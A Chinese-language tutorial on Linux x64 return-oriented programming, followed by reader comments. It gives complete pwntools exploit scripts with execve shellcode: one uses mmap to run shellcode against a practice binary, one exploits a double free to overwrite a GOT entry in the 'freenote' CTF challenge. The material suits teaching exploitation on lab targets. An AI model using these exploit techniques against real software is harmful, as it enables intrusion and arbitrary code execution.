0x00序
ROP的全称为Return-oriented programming（返回导向编程），这是一种高级的内存攻击技术，可以用来绕过现代操作系统的各种通用防御（比如内存不可执行和代码签名等）。上次我们主要讨论了linux_x64的ROP攻击。
一步一步学ROP之linux_x86篇/tips/?id=6597
一步一步学ROP之linux_x64篇/papers/?id=7551
在这次的教程中我们会带来通用gadgets和堆漏洞利用的技巧，欢迎大家继续学习。
另外文中涉及代码可在我的github下载:https://github.com/zhengmin1989/ROP_STEP_BY_STEP
0x01 通用 gadgets part2
上次讲到了__libc_csu_init()的一条万能gadgets，其实不光__libc_csu_init()里的代码可以利用，默认gcc还会有如下自动编译进去的函数可以用来查找gadgets。
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
除此之外在程序执行的过程中，CPU只会关注于PC指针的地址，并不会关注是否执行了编程者想要达到的效果。因此，通过控制PC跳转到某些经过稍微偏移过的地址会得到意想不到的效果。
比如说说我们反编译一下__libc_csu_init()这个函数的尾部：
gdb-peda$ disas __libc_csu_init
Dump of assembler code for function __libc_csu_init:
……
0x0000000000400606 <+102>: movrbx,QWORD PTR [rsp+0x8]
0x000000000040060b <+107>: movrbp,QWORD PTR [rsp+0x10]
0x0000000000400610 <+112>: mov r12,QWORD PTR [rsp+0x18]
0x0000000000400615 <+117>: mov r13,QWORD PTR [rsp+0x20]
0x000000000040061a <+122>: mov r14,QWORD PTR [rsp+0x28]
0x000000000040061f <+127>: mov r15,QWORD PTR [rsp+0x30]
0x0000000000400624 <+132>: add rsp,0x38
0x0000000000400628 <+136>: ret
可以发现我们可以通过rsp控制r12-r15的值，但我们知道x64下常用的参数寄存器是rdi和rsi，控制r12-r15并没有什么太大的用处。不要慌，虽然原程序本身用是为了控制r14和r15寄存器的值。如下面的反编译所示：
gdb-peda$ x/5i 0x000000000040061a
0x40061a <__libc_csu_init+122>: mov r14,QWORD PTR [rsp+0x28]
0x40061f <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30]
0x400624 <__libc_csu_init+132>: add rsp,0x38
0x400628 <__libc_csu_init+136>: ret
但是我们如果简单的对pc做个位移再反编译，我们就会发现esi和edi的值可以被我们控制了！如下面的反编译所示:
gdb-peda$ x/5i 0x000000000040061b
0x40061b <__libc_csu_init+123>: movesi,DWORD PTR [rsp+0x28]
0x40061f <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30]
0x400624 <__libc_csu_init+132>: add rsp,0x38
0x400628 <__libc_csu_init+136>: ret
0x400629: nop DWORD PTR [rax+0x0]
gdb-peda$ x/5i 0x0000000000400620
0x400620 <__libc_csu_init+128>: movedi,DWORD PTR [rsp+0x30]
0x400624 <__libc_csu_init+132>: add rsp,0x38
0x400628 <__libc_csu_init+136>: ret
0x400629: nop DWORD PTR [rax+0x0]
0x400630 <__libc_csu_fini>: repz ret
虽然edi和esi只能控制低32位的数值，但已经可以满足我们的很多的rop需求了。
除了程序默认编译进去的函数，如果我们能得到libc.so或者其他库在内存中的地址，就可以获得到大量的可用的gadgets。比如上一篇文章中提到的通用gadget只能控制三个参数寄存器的值并且某些值只能控制32位，如果我们想要控制多个参数寄存器的值的话只能去寻找其他的gadgets了。这里就介绍一个_dl_runtime_resolve()中的gadget，通过这个gadget可以控制六个64位参数寄存器的值，当我们使用参数比较多的函数的时候（比如mmap和mprotect）就可以派上用场了。
我们把_dl_runtime_resolve反编译可以得到：
0x7ffff7def200 <_dl_runtime_resolve>: sub rsp,0x38
0x7ffff7def204 <_dl_runtime_resolve+4>: mov QWORD PTR [rsp],rax
0x7ffff7def208 <_dl_runtime_resolve+8>: mov QWORD PTR [rsp+0x8],rcx
0x7ffff7def20d <_dl_runtime_resolve+13>: mov QWORD PTR [rsp+0x10],rdx
0x7ffff7def212 <_dl_runtime_resolve+18>: mov QWORD PTR [rsp+0x18],rsi
0x7ffff7def217 <_dl_runtime_resolve+23>: mov QWORD PTR [rsp+0x20],rdi
0x7ffff7def21c <_dl_runtime_resolve+28>: mov QWORD PTR [rsp+0x28],r8
0x7ffff7def221 <_dl_runtime_resolve+33>: mov QWORD PTR [rsp+0x30],r9
0x7ffff7def226 <_dl_runtime_resolve+38>: movrsi,QWORD PTR [rsp+0x40]
0x7ffff7def22b <_dl_runtime_resolve+43>: movrdi,QWORD PTR [rsp+0x38]
0x7ffff7def230 <_dl_runtime_resolve+48>: call 0x7ffff7de8680 <_dl_fixup>
0x7ffff7def235 <_dl_runtime_resolve+53>: mov r11,rax
0x7ffff7def238 <_dl_runtime_resolve+56>: mov r9,QWORD PTR [rsp+0x30]
0x7ffff7def23d <_dl_runtime_resolve+61>: mov r8,QWORD PTR [rsp+0x28]
0x7ffff7def242 <_dl_runtime_resolve+66>: movrdi,QWORD PTR [rsp+0x20]
0x7ffff7def247 <_dl_runtime_resolve+71>: movrsi,QWORD PTR [rsp+0x18]
0x7ffff7def24c <_dl_runtime_resolve+76>: movrdx,QWORD PTR [rsp+0x10]
0x7ffff7def251 <_dl_runtime_resolve+81>: movrcx,QWORD PTR [rsp+0x8]
0x7ffff7def256 <_dl_runtime_resolve+86>: movrax,QWORD PTR [rsp]
0x7ffff7def25a <_dl_runtime_resolve+90>: add rsp,0x48
0x7ffff7def25e <_dl_runtime_resolve+94>: jmp r11
从0x7ffff7def235开始，就是这个通用gadget的地址了。通过这个gadget我们可以控制rdi，rsi，rdx，rcx， r8，r9的值。但要注意的是_dl_runtime_resolve()在内存中的地址是随机的。所以我们需要先用information leak得到_dl_runtime_resolve()在内存中的地址。那么_dl_runtime_resolve()的地址被保存在了哪个固定的地址呢？
通过反编译level5程序我们可以看到[email protected]()这个函数使用PLT [0] 去查找write函数在内存中的地址，函数jump过去的地址*0x600ff8其实就是_dl_runtime_resolve()在内存中的地址了。所以只要获取到0x600ff8这个地址保存的数据，就能够找到_dl_runtime_resolve()在内存中的地址：
0000000000400420 <[email protected]>:
400420: ff 35 ca 0b 20 00 pushq 0x200bca(%rip) # 600ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
400426: ff 25 cc 0b 20 00 jmpq *0x200bcc(%rip) # 600ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
40042c: 0f 1f 40 00 nopl 0x0(%rax)
gdb-peda$ x/x 0x600ff8
0x600ff8 <_GLOBAL_OFFSET_TABLE_+16>: 0x00007ffff7def200
gdb-peda$ x/21i 0x00007ffff7def200
0x7ffff7def200 <_dl_runtime_resolve>: sub rsp,0x38
0x7ffff7def204 <_dl_runtime_resolve+4>: mov QWORD PTR [rsp],rax
0x7ffff7def208 <_dl_runtime_resolve+8>: mov QWORD PTR [rsp+0x8],rcx
0x7ffff7def20d <_dl_runtime_resolve+13>: mov QWORD PTR
[rsp+0x10],rdx
….
另一个要注意的是，想要利用这个gadget，我们还需要控制rax的值，因为gadget是通过rax跳转的：
0x7ffff7def235 <_dl_runtime_resolve+53>: mov r11,rax
……
0x7ffff7def25e <_dl_runtime_resolve+94>: jmp r11
所以我们接下来用ROPgadget查找一下libc.so中控制rax的gadget：
ROPgadget --binary libc.so.6 --only "pop|ret" | grep "rax"
0x000000000001f076 : pop rax ; pop rbx ; pop rbp ; ret
0x0000000000023950 : pop rax ; ret
0x000000000019176e : pop rax ; ret 0xffed
0x0000000000123504 : pop rax ; ret 0xfff0
0x0000000000023950刚好符合我们的要求。有了pop rax和_dl_runtime_resolve这两个gadgets，我们就可以很轻松的调用想要的调用的函数了。
0x02 利用mmap执行任意shellcode
看了这么多rop后是不是感觉我们利用rop只是用来执行system有点太不过瘾了？另外网上和msf里有那么多的shellcode难道在默认开启DEP的今天已经没有用处了吗？并不是的，我们可以通过mmap或者mprotect将某块内存改成RWX(可读可写可执行)，然后将shellcode保存到这块内存，然后控制pc跳转过去就可以执行任意的shellcode了，比如说建立一个socket连接等。下面我们就结合上一节中提到的通用gadgets来让程序执行一段shellcode。
我们测试的目标程序还是level5。在exp中，我们首先用上一篇中提到的_dl_runtime_resolve中的通用gadgets泄露出got_write和_dl_runtime_resolve的地址。
#!python
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=linker_point, rdx=4)
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(linker_point) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
随后就可以根据偏移量和泄露的地址计算出其他gadgets的地址。
#!python
shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +
"\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +
"\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" )
shellcode_addr = 0xbeef0000
#mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0)
payload3 = "\x00"*136
payload3 += p64(pop_rax_ret) + p64(mmap_addr)
payload3 += p64(linker_addr+0x35) + p64(0) + p64(34) + p64(7) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0)
#read(rdi=0, rsi=shellcode_addr, rdx=1024)
payload3 += p64(pop_rax_ret) + p64(plt_read)
payload3 += p64(linker_addr+0x35) + p64(0) + p64(0) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0)
payload3 += p64(shellcode_addr)
然后我们利用_dl_runtime_resolve里的通用gadgets调用mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0),开辟一段RWX的内存在0xbeef0000处。随后我们使用read(rdi=0, rsi=shellcode_addr, rdx=1024),把我们想要执行的shellcode读入到0xbeef0000这段内存中。最后再将指针跳转到shellcode处就可执行我们想要执行的任意代码了。
完整的exp8.py代码如下:
#!python
#!/usr/bin/env python
frompwn import *
elf = ELF('level5')
libc = ELF('libc.so.6')
p = process('./level5')
#p = remote('127.0.0.1',10001)
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
plt_read = elf.symbols['read']
print "plt_read: " + hex(plt_read)
linker_point = 0x600ff8
print "linker_point: " + hex(linker_point)
got_pop_rax_ret = 0x0000000000023970
print "got_pop_rax_ret: " + hex(got_pop_rax_ret)
main = 0x400564
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)
off_mmap_addr = libc.symbols['write'] - libc.symbols['mmap']
print "off_mmap_addr: " + hex(off_mmap_addr)
off_pop_rax_ret = libc.symbols['write'] - got_pop_rax_ret
print "off_pop_rax_ret: " + hex(off_pop_rax_ret)
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
mmap_addr = write_addr - off_mmap_addr
print "mmap_addr: " + hex(mmap_addr)
pop_rax_ret = write_addr - off_pop_rax_ret
print "pop_rax_ret: " + hex(pop_rax_ret)
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=linker_point, rdx=4)
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(linker_point) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
linker_addr = u64(p.recv(8))
print "linker_addr + 0x35: " + hex(linker_addr + 0x35)
p.recvuntil("Hello, World\n")
shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +
"\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +
"\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" )
# GADGET
# 0x7ffff7def235 <_dl_runtime_resolve+53>: mov r11,rax
# 0x7ffff7def238 <_dl_runtime_resolve+56>: mov r9,QWORD PTR [rsp+0x30]
# 0x7ffff7def23d <_dl_runtime_resolve+61>: mov r8,QWORD PTR [rsp+0x28]
# 0x7ffff7def242 <_dl_runtime_resolve+66>: movrdi,QWORD PTR [rsp+0x20]
# 0x7ffff7def247 <_dl_runtime_resolve+71>: movrsi,QWORD PTR [rsp+0x18]
# 0x7ffff7def24c <_dl_runtime_resolve+76>: movrdx,QWORD PTR [rsp+0x10]
# 0x7ffff7def251 <_dl_runtime_resolve+81>: movrcx,QWORD PTR [rsp+0x8]
# 0x7ffff7def256 <_dl_runtime_resolve+86>: movrax,QWORD PTR [rsp]
# 0x7ffff7def25a <_dl_runtime_resolve+90>: add rsp,0x48
# 0x7ffff7def25e <_dl_runtime_resolve+94>: jmp r11
shellcode_addr = 0xbeef0000
#mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0)
payload3 = "\x00"*136
payload3 += p64(pop_rax_ret) + p64(mmap_addr)
payload3 += p64(linker_addr+0x35) + p64(0) + p64(34) + p64(7) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0)
#read(rdi=0, rsi=shellcode_addr, rdx=1024)
payload3 += p64(pop_rax_ret) + p64(plt_read)
payload3 += p64(linker_addr+0x35) + p64(0) + p64(0) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0)
payload3 += p64(shellcode_addr)
print "\n#############sending payload3#############\n"
p.send(payload3)
sleep(1)
#raw_input()
p.send(shellcode+"\n")
sleep(1)
p.interactive()
成功pwn后的效果如下：
$ python exp8.py
[+] Started program './level5'
got_write: 0x601000
got_read: 0x601008
plt_read: 0x400440
linker_point: 0x600ff8
got_pop_rax_ret: 0x23950
off_mmap_addr: -0x9770
off_pop_rax_ret: 0xc2670
#############sending payload1#############
write_addr: 0x7f9d39d95fc0
mmap_addr: 0x7f9d39d9f730
pop_rax_ret: 0x7f9d39cd3950
#############sending payload2#############
linker_addr + 0x35: 0x7f9d3a083235
#############sending payload3#############
[*] Switching to interactive mode
$ whoami
mzheng
0x03 堆漏洞利用之double free
讲了那么多stack overflow的例子，我们现在换换口味，先从double free开始讲一下堆漏洞的利用。Double free的意思是一个已经被free的内存块又被free了第二次。正常情况下，如果double free，系统会检测出该内存块已经被free过了，不能被free第二次，程序会报错然后退出。但是如果我们精心构造一个假的内存块就可骗过系统的检测，然后得到内存地址任意写的权限。随后就可以修改got表将接下来会执行的函数替换成system()再将参数改为我们想要执行的指令，比如"/bin/sh"。最后就可以执行system("/bin/sh")了。
想要学习double free，首先要了解什么是free chunk和allocated chunk。这个在网上有大量的资料，请感兴趣的同学自学。
然后要了解Fast bin，Unsorted bin，Small bin和Large bin的概念。这个可以看这篇文章学习：
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/
除此之外还有个gdb工具可以帮助我们查看内存中堆的信息，这对我们调试程序会有很大的帮助:
https://github.com/cloudburst/libheap
等到对堆的基本概念了解的差多了就可以学习如何利用unlink来做到内存写了。在最早版本的unlink中对内存chunk是没有任何检测的，因此我们可以很容易的做到内存任意写。但现在版本的libc中会对free的那个chunk进行检测，这个chunk的前一个chunk的bk指针和这个chunk的后一个chunk的fd指针必须指向这个即将free的chunk才行。为了bypass这个检测，我们必须在内存中找到一个地址X指向P，然后将P的fd和bk指向X。最后再触发double free的unlink，就可以将P地址的值设置为X了。
我们这次使用0ctf中的freenote这道题来实践一下double free漏洞的利用。执行这个程序我能看到这其实就是一个note记事本程序。通过new note和delete note可以malloc()和free()内存。
$ ./freenote_x64
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
但是这个程序有两个漏洞，一个是建立新note的时候在note的结尾处没有加"\0"因此会造成堆或者栈的地址泄露，另一个问题就是在delete note的时候，并不会检测这个note是不是已经被删除过了，因此可以删除一个note两遍，造成double free。
首先我们要泄露libc和heap在内存中的地址。因为note的结尾没有"\0"，因此在输出时会把后面的内容打印出来。因为freelist的头部保存在了libc的.bss段，因此我们可以见通过删除两个note再删除一个note，然后再建立一个新note的方法来泄露出libc在内存中的地址：
#!python
notelen=0x80
new_note("A"*notelen)
new_note("B"*notelen)
delete_note(0)
new_note("\xb8")
list_note()
p.recvuntil("0. ")
leak = p.recvuntil("\n")
print leak[0:-1].encode('hex')
leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))
print hex(leaklibcaddr)
delete_note(1)
delete_note(0)
system_sh_addr = leaklibcaddr - 0x3724a8
print "system_sh_addr: " + hex(system_sh_addr)
binsh_addr = leaklibcaddr - 0x23e7f1
print "binsh_addr: " + hex(binsh_addr)
同样的如果让某个非使用中 chunk 的fd栏位指向另一个 chunk，并且让note的内容刚好接上，就可以把 chunk在堆上的位置给洩漏出来。这样我们就能得到堆的基址。
#!python
notelen=0x10
new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)
new_note("D"*notelen)
delete_note(2)
delete_note(0)
new_note("AAAAAAAA")
list_note()
p.recvuntil("0. AAAAAAAA")
leak = p.recvuntil("\n")
print leak[0:-1].encode('hex')
leakheapaddr = u64(leak[0:-1].ljust(8, '\x00'))
print hex(leakheapaddr)
delete_note(0)
delete_note(1)
delete_note(3)
notelen = 0x80
new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)
delete_note(2)
delete_note(1)
delete_note(0)
通过泄露的libc地址我们可以计算出system()函数和"/bin/sh"字符串在内存中的地址，通过泄露的堆的地址我们能得到note table的地址。然后我们构造一个假的note，利用使用double free的漏洞触发unlink，将note0的位置指向note table的地址。随后我们就可以通过编辑note0来编辑note table了。通过编辑note table我们把note0指向free()函数在got表中的地址，把note1指向"/bin/sh"在内存中的地址。然后我们编辑note0把free()函数在got表中的地址改为system()的地址。最后我们执行delete note1操作。因为我们把note1的地址指向了"/bin/sh"，所以正常情况下程序会执行free("/bin/sh")，但别忘了我们修改了got表中free的地址，所以程序会执行system("/bin/sh")，最终达到了我们的目的：
#!python
fd = leakheapaddr - 0x1808 #notetable
bk = fd + 0x8
payload = ""
payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
payload += p64(0) + p64(notelen+0x11)+ "\x00" * (notelen-0x20)
new_note(payload)
delete_note(1)
free_got = 0x602018
payload2 = p64(notelen) + p64(1) + p64(0x8) + p64(free_got) + "A"*16 + p64(binsh_addr)
payload2 += "A"* (notelen*3-len(payload2))
edit_note(0, payload2)
edit_note(0, p64(system_sh_addr))
delete_note(1)
p.interactive()
执行exp的结果如下：
$ python exp9.py
[+] Started program './freenote_x64'
b8a75eb2b57f
0x7fb5b25ea7b8
system_sh_addr: 0x7fb5b2278310
binsh_addr: 0x7fb5b23abfc7
20684b02
0x24b6820
[*] Switching to interactive mode
$ whoami
mzheng
0x04 总结
除了64位的freenote，blue-lotus还弄了一个32位版的freenote给大家练习。这些binary和exp都可以在我的github上下载到：
https://github.com/zhengmin1989/ROP_STEP_BY_STEP
另外，下篇我会带来arm上rop的利用，敬请期待。
按照大神exp8.py，出现段错误，希望解决。
请教shellcode_addr = 0xbeef0000，这个地
址可以随便写吗?
freelist的地址存在.bss段的什么地方啊？这个怎么算出的？
@explorer 后面有发哪里不？
@mctrain 我也曾经写过一篇有关canary绕过的文章想发乌云来着，结果没过Orz
大神能不能讲讲在没有加入"-fno-stack-protector"编译选项的情况下如何绕过canaries的机制啊？
希望有朝一日能跟上大神的脚步～～
不明觉厉，望楼主7武器也继续更新
没有so库之前的gadgets，值得mark一下。
赞，很详细。不过x86/x86-64架构的漏洞利用已经挺成熟了，倒是比较希望看到作者搞些ARM/MIPS架构的利用分析。